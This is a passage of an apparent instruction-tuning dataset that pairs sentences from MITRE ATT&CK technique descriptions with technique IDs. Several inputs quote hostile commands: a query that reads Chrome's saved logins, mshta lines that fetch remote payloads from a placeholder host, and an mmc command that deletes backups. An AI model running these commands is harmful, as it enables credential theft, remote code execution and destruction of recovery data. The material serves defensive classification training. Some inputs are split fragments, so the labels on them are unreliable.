port or executing a malicious task.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Traffic signaling involves the use of a magic value or sequence that must be sent to a system to trigger a special response, such as opening a closed port or executing a malicious task. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may take the form of sending a series of packets with certain characteristics before a port will be opened that the adversary can use for command and control. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Usually this series of packets consists of attempted connections to a predefined sequence of closed ports (i.e. [Port Knocking](https://attack.mitre.org/techniques/T1205/001)), but can involve unusual flags, specific strings, or other unique characteristics. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: After the sequence is completed, opening a port may be accomplished by the host-based firewall, but could also be implemented by custom software. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s).", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also communicate with an already open port, but the service listening on that port will only respond to commands or trigger other malicious functionality if passed the appropriate magic value(s). ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The observation of the signal packets to trigger the communication can be conducted through different methods.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The observation of the signal packets to trigger the communication can be conducted through different methods. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: On network devices, adversaries may use crafted packets to enable [Network Device Authentication](https://attack.mitre.org/techniques/T1556/004) for standard services offered by the device such as telnet. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Such signaling may also be used to open a closed service port such as telnet, or to trigger module modification of malware implants on the device, adding, removing, or changing malicious capabilities. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation:", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use crafted packets to attempt to connect to one or more (open or closed) ports, but may also attempt to connect to a router interface, broadcast, and network address IP on the same port in order to achieve their goals and objectives.(Citation: ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Cisco Synful Knock Evolution)(Citation: Mandiant - Synful Knock)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: To enable this traffic signaling on embedded devices, adversaries must first achieve and leverage ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Patch System Image](https://attack.mitre.org/techniques/T1601/001) due to the monolithic nature of the architecture. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also use the Wake-on-LAN feature to turn on powered off systems.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use the Wake-on-LAN feature to turn on powered off systems. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it.", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Wake-on-LAN is a hardware feature that allows a powered down system to be powered on, or woken up, by sending a magic packet to it. ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet)", "output": "T1205", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once the system is powered on, it may become a target for lateral movement.(Citation: Bleeping Computer - Ryuk WoL)(Citation: AMD Magic Packet) ### Response: T1205."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service that accepts remote connections, such as telnet, SSH, and VNC. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The adversary may then perform actions as the logged-on user.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The adversary may then perform actions as the logged-on user. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In an enterprise environment, servers and workstations can be organized into domains.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In an enterprise environment, servers and workstations can be organized into domains. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP).(Citation: SSH Secure Shell)(Citation: TechNet Remote Desktop Services) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Legitimate applications (such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072) and other administrative programs) may utilize [Remote Services](https://attack.mitre.org/techniques/T1021) to access remote hosts. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: ARD leverages a blend of protocols, including [VNC](https://attack.mitre.org/techniques/T1021/005) to send the screen and control buffers and [SSH](https://attack.mitre.org/techniques/T1021/004) for secure file transfer.(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Remote Management MDM macOS)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Remote Management MDM macOS)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Apple Remote Desktop Admin Guide 3.3)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Apple Remote Desktop Admin Guide 3.3) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement.", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.(Citation: FireEye 2019 Apple Remote Desktop)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Lockboxx ARD 2019)(Citation:", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Lockboxx ARD 2019)(Citation: ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Kickstart Apple Remote Desktop commands)", "output": "T1021", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Kickstart Apple Remote Desktop commands) ### Response: T1021."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may leverage [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log directly into accessible cloud hosted compute infrastructure through cloud native methods. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager).", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Many cloud providers offer interactive connections to virtual infrastructure that can be accessed through the [Cloud API](https://attack.mitre.org/techniques/T1059/009), such as Azure Serial Console(Citation: Azure Serial Console), AWS EC2 Instance Connect(Citation: EC2 Instance Connect)(Citation: lucr-3: Getting SaaS-y in the cloud), and AWS System Manager.(Citation: AWS System Manager). ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Methods of authentication for these connections can include passwords, application access tokens, or SSH keys.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Methods of authentication for these connections can include passwords, application access tokens, or SSH keys. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access.", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These cloud native methods may, by default, allow for privileged access on the host with SYSTEM or root level access. ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may utilize these cloud native methods to directly access virtual infrastructure and pivot through an environment.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console) ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)).", "output": "T1021.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These connections typically provide direct console access to the VM rather than the execution of scripts (i.e., [Cloud Administration Command](https://attack.mitre.org/techniques/T1651)). ### Response: T1021.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may acquire credentials from web browsers by reading files specific to the target browser. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Talos Olympic Destroyer 2018) \n\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, <code>AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data</code> and executing a SQL query: <code>SELECT action_url, username_value, password_value FROM logins;</code>. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function <code>CryptUnprotectData</code>, which uses the victim\u2019s cached logon credentials as the decryption key. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft CryptUnprotectData April 2018)", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft CryptUnprotectData April 2018) ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017)", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc. (Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access.", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).", "output": "T1503", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator). ### Response: T1503."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm)", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nMshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code>", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN HTML Applications)\n\nFiles may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))</code> ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code>\n\nMshta.exe can be used to bypass application control solutions that do not account for its potential use. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: LOLBAS Mshta)", "output": "T1218.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: LOLBAS Mshta) ### Response: T1218.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These snap-ins may be used to manage Windows systems locally or remotely.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These snap-ins may be used to manage Windows systems locally or remotely. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "MMC can also be used to open Microsoft created .msc", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: MMC can also be used to open Microsoft created .msc ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "files to manage system configuration.(Citation: win_msc_files_overview)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: files to manage system configuration.(Citation: win_msc_files_overview) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use MMC commands to perform malicious tasks.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use MMC commands to perform malicious tasks. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also abuse MMC to execute malicious .msc files.", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also abuse MMC to execute malicious .msc files. ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key)", "output": "T1218.014", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) ### Response: T1218.014."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Then, adversaries may create custom consoles with the \u201cLink to Web 